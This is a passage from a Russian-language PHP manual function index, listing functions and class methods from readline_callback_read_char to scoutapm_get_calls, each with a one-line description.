    • readline_callback_read_char - Читает символ и информирует callback-функцию readline, что получена строка
    • readline_clear_history - Очищает историю команд
    • readline_completion_function - Зарегистрировать функцию автодополнения
    • readline_info - Устанавливает/читает различные внутренние переменные readline
    • readline_list_history - Список истории команд
    • readline_on_new_line - Информирует readline, что курсор переместился на новую строку
    • readline_read_history - Прочитать историю команд из файла
    • readline_redisplay - Перерисовать экран
    • readline_write_history - Записать историю команд в файл
    • readlink - Возвращает файл, на который указывает символическая ссылка
    • read_exif_data - Псевдоним exif_read_data
    • realpath - Возвращает канонизированный абсолютный путь к файлу
    • realpath_cache_get - Получает записи из кеша realpath
    • realpath_cache_size - Получает размер кеша realpath
    • recode - Псевдоним recode_string
    • recode_file - Перекодирует из одного файла в другой в соответствии с заданными параметрами
    • recode_string - Перекодирует строку в соответствии с заданными параметрами
    • RecursiveArrayIterator::getChildren - Возвращает итератор для текущего элемента, если этот элемент является массивом (array) или объектом (object)
    • RecursiveArrayIterator::hasChildren - Определяет, является ли текущий элемент массивом или объектом
    • RecursiveCachingIterator::getChildren - Возвращает дочерние элементы внутреннего итератора в виде объекта RecursiveCachingIterator
    • RecursiveCachingIterator::hasChildren - Проверяет, имеет ли текущий элемент внутреннего итератора дочерние элементы
    • RecursiveCachingIterator::__construct - Конструктор
    • RecursiveCallbackFilterIterator::getChildren - Возвращает дочерние элементы итератора, хранящегося внутри RecursiveCallbackFilterIterator
    • RecursiveCallbackFilterIterator::hasChildren - Проверяет, содержит ли текущий элемент внутреннего итератора дочерние элементы
    • RecursiveCallbackFilterIterator::__construct - Создаёт объект класса RecursiveCallbackFilterIterator на основе объекта RecursiveIterator
    • RecursiveDirectoryIterator::getChildren - Если текущий элемент является директорией, метод возвращает для неё итератор
    • RecursiveDirectoryIterator::getSubPath - Возвращает путь к поддиректории
    • RecursiveDirectoryIterator::getSubPathname - Возвращает путь к поддиректории и имя файла
    • RecursiveDirectoryIterator::hasChildren - Определяет, является ли текущий элемент директорией
    • RecursiveDirectoryIterator::key - Возвращает путь и имя файла текущего элемента
    • RecursiveDirectoryIterator::next - Переход к следующему элементу
    • RecursiveDirectoryIterator::rewind - Переводит итератор на начало директории
    • RecursiveDirectoryIterator::__construct - Конструктор класса RecursiveDirectoryIterator
    • RecursiveFilterIterator::getChildren - Возвращает дочерние элементы внутреннего итератора в виде объекта RecursiveFilterIterator
    • RecursiveFilterIterator::hasChildren - Проверяет, есть ли у текущего элемента внутреннего итератора дочерние элементы
    • RecursiveFilterIterator::__construct - Создаёт объект RecursiveFilterIterator на основе объекта-итератора RecursiveIterator
    • RecursiveIterator::getChildren - Возвращает итератор для текущего элемента
    • RecursiveIterator::hasChildren - Определяет, можно ли для текущего элемента создать итератор
    • RecursiveIteratorIterator::beginChildren - Переход к первому дочернему элементу
    • RecursiveIteratorIterator::beginIteration - Начало итерации
    • RecursiveIteratorIterator::callGetChildren - Получение дочерних элементов
    • RecursiveIteratorIterator::callHasChildren - Проверка, есть ли у элемента дочерние элементы
    • RecursiveIteratorIterator::current - Получает значение текущего элемента
    • RecursiveIteratorIterator::endChildren - Окончание дочерних элементов
    • RecursiveIteratorIterator::endIteration - Окончание итерации
    • RecursiveIteratorIterator::getDepth - Определяет текущую глубину рекурсии
    • RecursiveIteratorIterator::getInnerIterator - Получение ссылки на внутренний итератор
    • RecursiveIteratorIterator::getMaxDepth - Получение максимальной глубины рекурсии
    • RecursiveIteratorIterator::getSubIterator - Получает активный вложенный итератор
    • RecursiveIteratorIterator::key - Получение ключа текущего элемента
    • RecursiveIteratorIterator::next - Перемещение итератора к следующему элементу
    • RecursiveIteratorIterator::nextElement - Следующий элемент
    • RecursiveIteratorIterator::rewind - Перемещает итератор на первый элемент самого верхнего уровня вложенности внутреннего итератора
    • RecursiveIteratorIterator::setMaxDepth - Установка максимальной глубины вложенности
    • RecursiveIteratorIterator::valid - Проверка допустимости текущей позиции
    • RecursiveIteratorIterator::__construct - Конструктор класса RecursiveIteratorIterator
    • RecursiveRegexIterator::getChildren - Возвращает итератор для текущего элемента
    • RecursiveRegexIterator::hasChildren - Определяет, возможна ли навигация по содержимому текущего элемента
    • RecursiveRegexIterator::__construct - Конструктор класса RecursiveRegexIterator
    • RecursiveTreeIterator::beginChildren - Начало навигации по потомкам элемента
    • RecursiveTreeIterator::beginIteration - Начало навигации
    • RecursiveTreeIterator::callGetChildren - Получение дочерних элементов
    • RecursiveTreeIterator::callHasChildren - Проверка, есть ли у текущего элемента потомки
    • RecursiveTreeIterator::current - Получение текущего элемента
    • RecursiveTreeIterator::endChildren - Завершение навигации по потомкам элемента
    • RecursiveTreeIterator::endIteration - Завершение навигации
    • RecursiveTreeIterator::getEntry - Получение поддерева, корнем которого является текущий элемент
    • RecursiveTreeIterator::getPostfix - Получение суффикса
    • RecursiveTreeIterator::getPrefix - Получение префикса
    • RecursiveTreeIterator::key - Получение ключа текущего элемента
    • RecursiveTreeIterator::next - Переход к следующему элементу
    • RecursiveTreeIterator::nextElement - Следующий элемент
    • RecursiveTreeIterator::rewind - Перевод итератора в начало
    • RecursiveTreeIterator::setPostfix - Установка постфикса
    • RecursiveTreeIterator::setPrefixPart - Задание части префикса
    • RecursiveTreeIterator::valid - Проверка допустимости элемента
    • RecursiveTreeIterator::__construct - Конструктор класса RecursiveTreeIterator
    • Reflection::export - Экспортирует Reflection
    • Reflection::getModifierNames - Получение имён модификаторов
    • ReflectionAttribute::getArguments - Возвращает аргументы, переданные атрибуту
    • ReflectionAttribute::getName - Возвращает имя атрибута
    • ReflectionAttribute::getTarget - Возвращает цель атрибута в виде битовой маски
    • ReflectionAttribute::isRepeated - Определяет, был ли атрибут с таким именем указан многократно в элементе кода
    • ReflectionAttribute::newInstance - Создаёт экземпляр класса атрибута, используя содержащиеся в объекте ReflectionAttribute имя класса и аргументы
    • ReflectionAttribute::__construct - Закрытый конструктор, запрещающий создание объекта напрямую
    • ReflectionClass::export - Экспортирует класс
    • ReflectionClass::getAttributes - Получает атрибуты
    • ReflectionClass::getConstant - Возвращает определённую константу
    • ReflectionClass::getConstants - Возвращает константы
    • ReflectionClass::getConstructor - Возвращает конструктор класса
    • ReflectionClass::getDefaultProperties - Возвращает свойства по умолчанию
    • ReflectionClass::getDocComment - Возвращает doc-блоки комментариев
    • ReflectionClass::getEndLine - Возвращает номер последней строки
    • ReflectionClass::getExtension - Возвращает объект класса ReflectionExtension для модуля, определяющего класс
    • ReflectionClass::getExtensionName - Возвращает имя модуля, определяющее класс
    • ReflectionClass::getFileName - Возвращает имя файла, в котором определён класс
    • ReflectionClass::getInterfaceNames - Возвращает имена интерфейсов
    • ReflectionClass::getInterfaces - Возвращает интерфейсы
    • ReflectionClass::getMethod - Возвращает экземпляр ReflectionMethod для метода класса
    • ReflectionClass::getMethods - Возвращает список методов в виде массива
    • ReflectionClass::getModifiers - Возвращает информацию о модификаторах класса
    • ReflectionClass::getName - Возвращает имя класса
    • ReflectionClass::getNamespaceName - Возвращает название пространства имён
    • ReflectionClass::getParentClass - Возвращает родительский класс
    • ReflectionClass::getProperties - Возвращает свойства
    • ReflectionClass::getProperty - Возвращает экземпляр ReflectionProperty для свойства класса
    • ReflectionClass::getReflectionConstant - Получает экземпляр класса ReflectionClassConstant для константы класса
    • ReflectionClass::getReflectionConstants - Получает константы класса
    • ReflectionClass::getShortName - Возвращает короткое имя
    • ReflectionClass::getStartLine - Возвращает номер начальной строки
    • ReflectionClass::getStaticProperties - Возвращает статические свойства
    • ReflectionClass::getStaticPropertyValue - Возвращает значение статического свойства
    • ReflectionClass::getTraitAliases - Возвращает массив псевдонимов трейтов
    • ReflectionClass::getTraitNames - Возвращает массив имён трейтов, используемых в этом классе
    • ReflectionClass::getTraits - Возвращает массив трейтов, используемых в этом классе
    • ReflectionClass::hasConstant - Проверяет, определена ли константа
    • ReflectionClass::hasMethod - Проверяет, задан ли метод
    • ReflectionClass::hasProperty - Проверяет, определено ли свойство
    • ReflectionClass::implementsInterface - Проверяет, реализуется ли интерфейс
    • ReflectionClass::inNamespace - Проверяет, определён ли класс в пространстве имён
    • ReflectionClass::isAbstract - Проверяет, является ли класс абстрактным
    • ReflectionClass::isAnonymous - Проверяет, является класс анонимным
    • ReflectionClass::isCloneable - Проверяет, можно ли клонировать этот класс
    • ReflectionClass::isEnum - Возвращает, является ли класс перечислением
    • ReflectionClass::isFinal - Проверяет, является ли класс окончательным (final)
    • ReflectionClass::isInstance - Проверяет, принадлежит ли объект классу
    • ReflectionClass::isInstantiable - Проверяет, можно ли создать экземпляр класса
    • ReflectionClass::isInterface - Проверяет, является ли класс интерфейсом
    • ReflectionClass::isInternal - Проверяет, является ли класс встроенным в модуль или в ядро
    • ReflectionClass::isIterable - Проверяет, итерируем ли класс
    • ReflectionClass::isIterateable - Псевдоним ReflectionClass::isIterable
    • ReflectionClass::isReadOnly - Проверяет, является ли класс доступным только для чтения
    • ReflectionClass::isSubclassOf - Проверяет, является ли класс подклассом
    • ReflectionClass::isTrait - Проверяет, является ли это трейтом
    • ReflectionClass::isUserDefined - Проверяет, является ли класс пользовательским
    • ReflectionClass::newInstance - Создаёт экземпляр класса с переданными аргументами
    • ReflectionClass::newInstanceArgs - Создаёт экземпляр класса с переданными параметрами
    • ReflectionClass::newInstanceWithoutConstructor - Создаёт новый экземпляр класса без вызова конструктора
    • ReflectionClass::setStaticPropertyValue - Устанавливает значение статического свойства
    • ReflectionClass::__construct - Создаёт объект класса ReflectionClass
    • ReflectionClass::__toString - Возвращает строковое представление объекта класса ReflectionClass
    • ReflectionClassConstant::export - Экспортирует
    • ReflectionClassConstant::getAttributes - Получает атрибуты
    • ReflectionClassConstant::getDeclaringClass - Получает объявляющий класс
    • ReflectionClassConstant::getDocComment - Получает doc-комментарии
    • ReflectionClassConstant::getModifiers - Получает модификаторы константы класса
    • ReflectionClassConstant::getName - Получает имя константы
    • ReflectionClassConstant::getValue - Получает значение
    • ReflectionClassConstant::isEnumCase - Проверяет, является ли константа класса вариантом перечисления
    • ReflectionClassConstant::isFinal - Проверяет, является ли константа класса окончательной
    • ReflectionClassConstant::isPrivate - Проверяет, является ли константа закрытой
    • ReflectionClassConstant::isProtected - Проверяет, является ли константа защищённой
    • ReflectionClassConstant::isPublic - Проверяет, является ли константа общедоступной
    • ReflectionClassConstant::__construct - Создаёт объект ReflectionClassConstant
    • ReflectionClassConstant::__toString - Возвращает строковое представление объекта ReflectionClassConstant
    • ReflectionEnum::getBackingType - Получает тип перечисления, если есть
    • ReflectionEnum::getCase - Возвращает определённый вариант перечисления
    • ReflectionEnum::getCases - Возвращает список всех вариантов перечисления
    • ReflectionEnum::hasCase - Проверяет вариант перечисления
    • ReflectionEnum::isBacked - Определяет, является ли перечисление типизированным
    • ReflectionEnum::__construct - Создаёт объект ReflectionEnum
    • ReflectionEnumBackedCase::getBackingValue - Получает скалярное значение варианта перечисления
    • ReflectionEnumBackedCase::__construct - Создаёт объект ReflectionEnumBackedCase
    • ReflectionEnumUnitCase::getEnum - Получает Reflection-объект перечисления этого варианта
    • ReflectionEnumUnitCase::getValue - Получает объект варианта перечисления, описанный Reflection-объектом
    • ReflectionEnumUnitCase::__construct - Создаёт экземпляр объекта ReflectionEnumUnitCase
    • ReflectionExtension::export - Экспортирует модуль
    • ReflectionExtension::getClasses - Возвращает классы
    • ReflectionExtension::getClassNames - Получение имён классов
    • ReflectionExtension::getConstants - Получение констант
    • ReflectionExtension::getDependencies - Получение зависимостей
    • ReflectionExtension::getFunctions - Получение функций модуля
    • ReflectionExtension::getINIEntries - Получение ini-настроек модуля
    • ReflectionExtension::getName - Получение имени модуля
    • ReflectionExtension::getVersion - Получение версии модуля
    • ReflectionExtension::info - Вывод информации о модуле
    • ReflectionExtension::isPersistent - Определяет, является ли модуль постоянным
    • ReflectionExtension::isTemporary - Определяет, является ли модуль временным
    • ReflectionExtension::__clone - Клонирует объект
    • ReflectionExtension::__construct - Создаёт объект класса ReflectionExtension
    • ReflectionExtension::__toString - Преобразование в строку
    • ReflectionFiber::getCallable - Получает вызываемый объект, используемый для создания файбера
    • ReflectionFiber::getExecutingFile - Получает имя файла текущей точки выполнения
    • ReflectionFiber::getExecutingLine - Получает номер строки текущей точки выполнения
    • ReflectionFiber::getFiber - Получает отражённый экземпляр файбера
    • ReflectionFiber::getTrace - Получает обратную трассировку текущей точки выполнения
    • ReflectionFiber::__construct - Создаёт объект ReflectionFiber
    • ReflectionFunction::export - Экспортирует функции
    • ReflectionFunction::getClosure - Возвращает динамически созданное замыкание для функции
    • ReflectionFunction::invoke - Вызывает функцию
    • ReflectionFunction::invokeArgs - Вызов функции с передачей аргументов
    • ReflectionFunction::isAnonymous - Проверяет, является ли функция анонимной
    • ReflectionFunction::isDisabled - Проверяет, что функция отключена
    • ReflectionFunction::__construct - Конструктор класса ReflectionFunction
    • ReflectionFunction::__toString - Возвращает строковое представление объекта ReflectionFunction
    • ReflectionFunctionAbstract::getAttributes - Получает атрибуты
    • ReflectionFunctionAbstract::getClosureScopeClass - Возвращает класс в рамках которого было объявлено замыкание
    • ReflectionFunctionAbstract::getClosureThis - Возвращает указатель, привязанный к замыканию
    • ReflectionFunctionAbstract::getClosureUsedVariables - Возвращает массив используемых в замыкании переменных
    • ReflectionFunctionAbstract::getDocComment - Получает doc-комментарий
    • ReflectionFunctionAbstract::getEndLine - Получает номер строки завершения описания функции
    • ReflectionFunctionAbstract::getExtension - Получает информацию о модуле
    • ReflectionFunctionAbstract::getExtensionName - Получение имени модуля
    • ReflectionFunctionAbstract::getFileName - Получает имя файла
    • ReflectionFunctionAbstract::getName - Получает имя функции
    • ReflectionFunctionAbstract::getNamespaceName - Получение имени пространства имён
    • ReflectionFunctionAbstract::getNumberOfParameters - Получает количество параметров
    • ReflectionFunctionAbstract::getNumberOfRequiredParameters - Получает количество обязательных параметров
    • ReflectionFunctionAbstract::getParameters - Получает параметры
    • ReflectionFunctionAbstract::getReturnType - Получает объявленный тип возвращаемого функцией значения
    • ReflectionFunctionAbstract::getShortName - Получает короткое имя функции
    • ReflectionFunctionAbstract::getStartLine - Получает начальный номер строки
    • ReflectionFunctionAbstract::getStaticVariables - Получает статические переменные
    • ReflectionFunctionAbstract::getTentativeReturnType - Возвращает предварительный тип возвращаемого значения, связанный с функцией
    • ReflectionFunctionAbstract::hasReturnType - Проверяет, имеет ли функция объявленный тип возвращаемого значения
    • ReflectionFunctionAbstract::hasTentativeReturnType - Определяет, есть ли у функции предварительный тип возвращаемого значения
    • ReflectionFunctionAbstract::inNamespace - Проверяет, находится ли функция в пространстве имён
    • ReflectionFunctionAbstract::isClosure - Проверяет, является ли функция замыканием (Closure)
    • ReflectionFunctionAbstract::isDeprecated - Проверяет, является ли функция устаревшей
    • ReflectionFunctionAbstract::isGenerator - Проверяет, является ли функция генератором
    • ReflectionFunctionAbstract::isInternal - Проверяет, является ли функция внутренней
    • ReflectionFunctionAbstract::isStatic - Проверяет, является ли функция статической
    • ReflectionFunctionAbstract::isUserDefined - Проверяет, является ли функция определённой пользователем
    • ReflectionFunctionAbstract::isVariadic - Проверяет, является ли функция функцией с переменным числом аргументов
    • ReflectionFunctionAbstract::returnsReference - Проверяет, что функция возвращает ссылку
    • ReflectionFunctionAbstract::__clone - Клонирует функцию
    • ReflectionFunctionAbstract::__toString - Возвращает строковое представление объекта ReflectionFunctionAbstract
    • ReflectionGenerator::getExecutingFile - Получает имя файла, из которого запустили генератор
    • ReflectionGenerator::getExecutingGenerator - Получает запущенный объект класса Generator
    • ReflectionGenerator::getExecutingLine - Получает текущую строку, которую выполняет генератор
    • ReflectionGenerator::getFunction - Получает имя функции генератора
    • ReflectionGenerator::getThis - Получает значение $this генератора
    • ReflectionGenerator::getTrace - Получает трассировку запущенного генератора
    • ReflectionGenerator::__construct - Конструктор ReflectionGenerator
    • ReflectionIntersectionType::getTypes - Возвращает пересекающиеся типы
    • ReflectionMethod::createFromMethodName - Создаёт объект класса ReflectionMethod
    • ReflectionMethod::export - Экспорт отражённого метода
    • ReflectionMethod::getClosure - Возвращает динамически созданное замыкание для метода
    • ReflectionMethod::getDeclaringClass - Получает класс, объявляющий отражённый метод
    • ReflectionMethod::getModifiers - Получает модификаторы метода
    • ReflectionMethod::getPrototype - Получает прототип метода (если такой есть)
    • ReflectionMethod::hasPrototype - Определяет, есть ли у метода прототип
    • ReflectionMethod::invoke - Вызов
    • ReflectionMethod::invokeArgs - Вызов метода с передачей аргументов массивом
    • ReflectionMethod::isAbstract - Проверяет, является ли метод абстрактным
    • ReflectionMethod::isConstructor - Проверяет, является ли метод конструктором
    • ReflectionMethod::isDestructor - Проверяет, является ли метод деструктором
    • ReflectionMethod::isFinal - Проверяет, является ли метод окончательным
    • ReflectionMethod::isPrivate - Проверяет, является ли метод закрытым
    • ReflectionMethod::isProtected - Проверяет, является ли метод защищённым
    • ReflectionMethod::isPublic - Проверяет, является ли метод общедоступным
    • ReflectionMethod::setAccessible - Делает метод доступным
    • ReflectionMethod::__construct - Конструктор класса ReflectionMethod
    • ReflectionMethod::__toString - Возвращает строковое представление объекта ReflectionMethod
    • ReflectionNamedType::getName - Получает имя типа в виде строки
    • ReflectionNamedType::isBuiltin - Проверяет, является ли тип встроенным
    • ReflectionObject::export - Экспорт
    • ReflectionObject::__construct - Конструктор класса ReflectionObject
    • ReflectionParameter::allowsNull - Проверяет, допустимо ли значение null для параметра
    • ReflectionParameter::canBePassedByValue - Проверяет, можно ли передать этот аргумент по значению
    • ReflectionParameter::export - Экспорт
    • ReflectionParameter::getAttributes - Получает атрибуты
    • ReflectionParameter::getClass - Получает объект ReflectionClass для отражаемого параметра или null
    • ReflectionParameter::getDeclaringClass - Получение объявляющего класса
    • ReflectionParameter::getDeclaringFunction - Получение объявляющей функции
    • ReflectionParameter::getDefaultValue - Получение значения по умолчанию для параметра
    • ReflectionParameter::getDefaultValueConstantName - Возвращает имя константы значения по умолчанию, если значение по умолчанию константа или null
    • ReflectionParameter::getName - Получение имени параметра
    • ReflectionParameter::getPosition - Получение позиции параметра
    • ReflectionParameter::getType - Получает тип параметра
    • ReflectionParameter::hasType - Проверяет, указали ли тип параметра
    • ReflectionParameter::isArray - Проверяет, ожидает ли аргумент массив в качестве значения
    • ReflectionParameter::isCallable - Определяет, должен ли параметр принадлежать типу callable
    • ReflectionParameter::isDefaultValueAvailable - Проверяет, доступно ли значение по умолчанию
    • ReflectionParameter::isDefaultValueConstant - Определяет, установили ли параметру константу как значение по умолчанию
    • ReflectionParameter::isOptional - Проверяет, является ли аргумент необязательным
    • ReflectionParameter::isPassedByReference - Проверяет, передан ли параметр по ссылке
    • ReflectionParameter::isVariadic - Проверяет вариативность параметра
    • ReflectionParameter::__clone - Клонирует
    • ReflectionParameter::__construct - Конструктор
    • ReflectionParameter::__toString - Преобразование в строку
    • ReflectionProperty::export - Экспортирует
    • ReflectionProperty::getAttributes - Получает атрибуты
    • ReflectionProperty::getDeclaringClass - Получает класс, в котором объявили свойство
    • ReflectionProperty::getDefaultValue - Возвращает значение по умолчанию, которое объявили для свойства
    • ReflectionProperty::getDocComment - Получает doc-комментарий свойства
    • ReflectionProperty::getModifiers - Получает модификаторы свойства
    • ReflectionProperty::getName - Получает имя свойства
    • ReflectionProperty::getType - Получает тип свойства
    • ReflectionProperty::getValue - Получает значение
    • ReflectionProperty::hasDefaultValue - Проверяет, задано ли для свойства значение по умолчанию
    • ReflectionProperty::hasType - Проверяет, есть ли у свойства тип
    • ReflectionProperty::isDefault - Проверяет, является ли значение свойством по умолчанию
    • ReflectionProperty::isInitialized - Проверяет, инициализировали ли свойство
    • ReflectionProperty::isPrivate - Проверяет, является ли свойство закрытым
    • ReflectionProperty::isPromoted - Проверяет, определено ли свойство в конструкторе
    • ReflectionProperty::isProtected - Проверяет, является ли свойство защищённым
    • ReflectionProperty::isPublic - Проверяет, является ли свойство общедоступным
    • ReflectionProperty::isReadOnly - Проверяет, является ли свойство readonly-свойством
    • ReflectionProperty::isStatic - Проверяет, определили ли свойство статическим
    • ReflectionProperty::setAccessible - Устанавливает доступность свойства
    • ReflectionProperty::setValue - Устанавливает значение свойству
    • ReflectionProperty::__clone - Клонирует
    • ReflectionProperty::__construct - Создаёт объект класса ReflectionProperty
    • ReflectionProperty::__toString - Преобразовывает в строку
    • ReflectionReference::fromArrayElement - Создаёт ReflectionReference из элемента массива
    • ReflectionReference::getId - Получает уникальный идентификатор ссылки
    • ReflectionReference::__construct - Закрытый конструктор, запрещающий создание экземпляра напрямую
    • ReflectionType::allowsNull - Проверяет, допустим ли NULL
    • ReflectionType::__toString - Получает название типа параметра
    • ReflectionUnionType::getTypes - Возвращает типы, включённые в тип union
    • ReflectionZendExtension::export - Экспорт
    • ReflectionZendExtension::getAuthor - Получает автора
    • ReflectionZendExtension::getCopyright - Получает авторские права
    • ReflectionZendExtension::getName - Получает имя
    • ReflectionZendExtension::getURL - Получает URL
    • ReflectionZendExtension::getVersion - Получает версию
    • ReflectionZendExtension::__clone - Обработчик клонирования
    • ReflectionZendExtension::__construct - Создаёт объект ReflectionZendExtension
    • ReflectionZendExtension::__toString - Обработчик преобразования в строку
    • Reflector::export - Экспорт
    • RegexIterator::accept - Проверка соответствия регулярному выражению
    • RegexIterator::getFlags - Получение флагов настройки
    • RegexIterator::getMode - Возвращает режим работы
    • RegexIterator::getPregFlags - Возвращает флаги регулярного выражения
    • RegexIterator::getRegex - Возвращает строку текущего регулярного выражения
    • RegexIterator::setFlags - Установка флагов
    • RegexIterator::setMode - Установка режима работы
    • RegexIterator::setPregFlags - Задание флагов регулярного выражения
    • RegexIterator::__construct - Конструктор класса RegexIterator
    • register_shutdown_function - Регистрирует функцию, которая выполнится при завершении работы скрипта
    • register_tick_function - Регистрирует функцию для выполнения при каждом тике
    • rename - Переименовывает файл или директорию
    • reset - Устанавливает внутренний указатель массива на первый элемент
    • ResourceBundle::count - Получить количество элементов в пакете
    • ResourceBundle::create - Создать пакет ресурсов
    • ResourceBundle::get - Получить данные из пакета
    • ResourceBundle::getErrorCode - Получить последний код ошибки пакета
    • ResourceBundle::getErrorMessage - Получить последнее сообщение об ошибке пакета
    • ResourceBundle::getLocales - Получить поддерживаемые локали
    • restore_error_handler - Восстанавливает предыдущий обработчик ошибок
    • restore_exception_handler - Восстанавливает предыдущий обработчик исключений
    • restore_include_path - Восстанавливает изначальное значение настройки конфигурации include_path
    • Result::getAffectedItemsCount - Получает количество затронутых строк
    • Result::getAutoIncrementValue - Получает значение автоинкремента
    • Result::getGeneratedIds - Получает сгенерированные идентификаторы
    • Result::getWarnings - Получает предупреждения последней операции
    • Result::getWarningsCount - Получает количество предупреждений последней операции
    • Result::__construct - Конструктор класса Result
    • ReturnTypeWillChange::__construct - Создаёт новый экземпляр атрибута ReturnTypeWillChange
    • rewind - Сбрасывает курсор файлового указателя
    • rewinddir - Сбросить дескриптор каталога
    • rmdir - Удаляет директорию
    • rnp_backend_string - Возвращает имя библиотеки криптографического бэкенда
    • rnp_backend_version - Возвращает версию криптографической библиотеки бэкенда
    • rnp_decrypt - Расшифровывает сообщение PGP
    • rnp_dump_packets - Выгружает информацию о потоке пакетов OpenPGP в человеко-читаемом формате
    • rnp_dump_packets_to_json - Выгрузка информации о потоке пакетов OpenPGP в строку JSON
    • rnp_ffi_create - Создаёт объект верхнего уровня, используемый для взаимодействия с библиотекой
    • rnp_ffi_destroy - Уничтожает объект верхнего уровня, используемый для взаимодействия с библиотекой
    • rnp_ffi_set_pass_provider - Устанавливает callback-функцию поставщика паролей
    • rnp_import_keys - Импортирует ключи из строки PHP в связку ключей и получает JSON с описанием новых/обновлённых ключей
    • rnp_import_signatures - Импортирует автономные подписи в связку ключей и получает JSON с описанием обновлённых ключей
    • rnp_key_export - Экспортирует ключ
    • rnp_key_export_autocrypt - Экспортирует минимальный ключ для функции автоматического шифрования (всего 5 пакетов: ключ, uid, подпись, дочерний ключ шифрования, подпись)
    • rnp_key_export_revocation - Генерирует и экспортирует подпись отзыва первичного ключа
    • rnp_key_get_info - Получает информацию о ключе
    • rnp_key_remove - Удаляет ключ из связки (связок)
    • rnp_key_revoke - Отзывает ключ или дочерний ключ путём создания и добавления подписи отзыва
    • rnp_list_keys - Перечисляет все ключи, присутствующие в связке ключей, по указанному типу идентификатора
    • rnp_load_keys - Загружает ключи из строки PHP
    • rnp_load_keys_from_path - Загружает ключи из указанного пути
    • rnp_locate_key - Поиск ключа
    • rnp_op_encrypt - Шифрует сообщение
    • rnp_op_generate_key - Генерирует ключ
    • rnp_op_sign - Выполняет операцию подписания бинарных данных, возвращает присоединённую подпись (подписи)
    • rnp_op_sign_cleartext - Выполняет операцию подписания текстовых данных, возвращая подписанный открытый текст сообщения
    • rnp_op_sign_detached - Выполняет операцию подписания, возвращает отсоединённую подпись (подписи)
    • rnp_op_verify - Проверяет присоединённую подпись или подпись открытого текста
    • rnp_op_verify_detached - Проверяет отсоединённые подписи
    • rnp_save_keys - Сохраняет ключи в строке PHP
    • rnp_save_keys_to_path - Сохраняет ключи по указанному пути
    • rnp_supported_features - Получает поддерживаемые функции в формате JSON
    • rnp_version_string - Возвращает строку версии библиотеки RNP
    • rnp_version_string_full - Возвращает строку полной версии библиотеки RNP
    • round - Округляет число с плавающей точкой (float)
    • RowResult::fetchAll - Получает все строки из результата
    • RowResult::fetchOne - Получает строку из результата
    • RowResult::getColumnNames - Получает все имена столбцов
    • RowResult::getColumns - Получает метаданные столбца
    • RowResult::getColumnsCount - Получает количество столбцов
    • RowResult::getWarnings - Получает предупреждения последней операции
    • RowResult::getWarningsCount - Получает количество предупреждений последней операции
    • RowResult::__construct - Конструктор класса RowResult
    • rpmaddtag - Добавляет тег, полученный в запросе
    • rpmdbinfo - Получает информацию от установленного RPM
    • rpmdbsearch - Поиск RPM-пакетов
    • rpmgetsymlink - Получает файл или директорию, на которую ссылается символическая ссылка
    • rpminfo - Извлечь информацию из RPM-файла
    • rpmvercmp - Сравнивает версии RPM
    • RRDCreator::addArchive - Добавляет RRA - архив значений данных для каждого источника данных
    • RRDCreator::addDataSource - Добавляет определение источника данных для базы данных RRD
    • RRDCreator::save - Сохраняет базу данных RRD в файл
    • RRDCreator::__construct - Создаёт новый экземпляр RRDCreator
    • rrdc_disconnect - Закрыть любые незавершённые подключения к демону кеширования rrd
    • RRDGraph::save - Сохраняет результат запроса в изображение
    • RRDGraph::saveVerbose - Сохраняет запрос к базе данных RRD в изображение и возвращает подробную информацию о сгенерированном графике
    • RRDGraph::setOptions - Устанавливает параметры для экспорта графика rrd
    • RRDGraph::__construct - Создаёт новый экземпляр RRDGraph
    • RRDUpdater::update - Обновляет файл базы данных RRD
    • RRDUpdater::__construct - Создаёт новый объект RRDUpdater
    • rrd_create - Создать файл rrd
    • rrd_error - Получить последнее сообщение об ошибке
    • rrd_fetch - Извлечь данные для графика в виде массива
    • rrd_first - Возвращает отметку времени первого образца из файла rrd
    • rrd_graph - Создаёт изображение из данных
    • rrd_info - Получает информацию о файле rrd
    • rrd_last - Возвращает отметку времени unix последнего образца
    • rrd_lastupdate - Получает информацию о последних обновлённых данных
    • rrd_restore - Восстанавливает файл RRD из дампа XML
    • rrd_tune - Настраивает некоторые опции заголовка файла базы данных RRD
    • rrd_update - Обновляет базу данных RRD
    • rrd_version - Получает информацию о базовой библиотеке rrdtool
    • rrd_xport - Экспортирует информацию о базе данных RRD
    • rsort - Сортирует массив в порядке убывания
    • rtrim - Удаляет пробелы (или другие символы) из конца строки
    • runkit7_constant_add - Аналогичен define(), но также позволяет определить константу класса
    • runkit7_constant_redefine - Переопределяет уже определённую константу
    • runkit7_constant_remove - Удаляет уже определённую константу
    • runkit7_function_add - Добавляет новую функцию, функция аналогична create_function
    • runkit7_function_copy - Копирует функцию в новое имя функции
    • runkit7_function_redefine - Заменяет определение функции новой реализацией
    • runkit7_function_remove - Удаляет определение функции
    • runkit7_function_rename - Изменяет имя функции
    • runkit7_import - Обрабатывает функцию импорта файла PHP и определения классов, при необходимости перезаписывая
    • runkit7_method_add - Динамически добавляет новый метод в заданный класс
    • runkit7_method_copy - Копирует метод из одного класса в другой
    • runkit7_method_redefine - Динамически изменяет код заданного метода
    • runkit7_method_remove - Динамически удаляет заданный метод
    • runkit7_method_rename - Динамически изменяет имя заданного метода
    • runkit7_object_id - Возвращает дескриптор целочисленного объекта для данного объекта
    • runkit7_superglobals - Возвращает числовой индексированный массив зарегистрированных суперглобальных переменных
    • runkit7_zval_inspect - Возвращает информацию о переданном значении с типами данных, количеством ссылок и так далее
  • s
    • sapi_windows_cp_conv - Преобразовывает строку из одной кодовой страницы в другую
    • sapi_windows_cp_get - Получить текущую кодовую страницу
    • sapi_windows_cp_is_utf8 - Указывает, совместима ли кодовая страница с UTF-8
    • sapi_windows_cp_set - Установить кодовую страницу процесса
    • sapi_windows_generate_ctrl_event - Послать событие CTRL другому процессу
    • sapi_windows_set_ctrl_handler - Установить или удалить обработчик события CTRL
    • sapi_windows_vt100_support - Получить или установить поддержку VT100 для заданного потока, связанного с буфером вывода консоли Windows
    • scandir - Получает список файлов и каталогов, расположенных по указанному пути
    • Schema::createCollection - Добавляет коллекцию в схему
    • Schema::dropCollection - Удаляет коллекции из схемы
    • Schema::existsInDatabase - Проверяет, существует ли в базе данных
    • Schema::getCollection - Получает коллекцию из схемы
    • Schema::getCollectionAsTable - Получает коллекцию как объект класса Table
    • Schema::getCollections - Получает все коллекции схемы
    • Schema::getName - Получает имя схемы
    • Schema::getSession - Получает сессию схемы
    • Schema::getTable - Получает таблицу схемы
    • Schema::getTables - Получает таблицы схемы
    • Schema::__construct - Конструктор класса Schema
    • SchemaObject::getSchema - Получает объект схемы
    • scoutapm_get_calls - Возвращает список вызовов, которые произошли
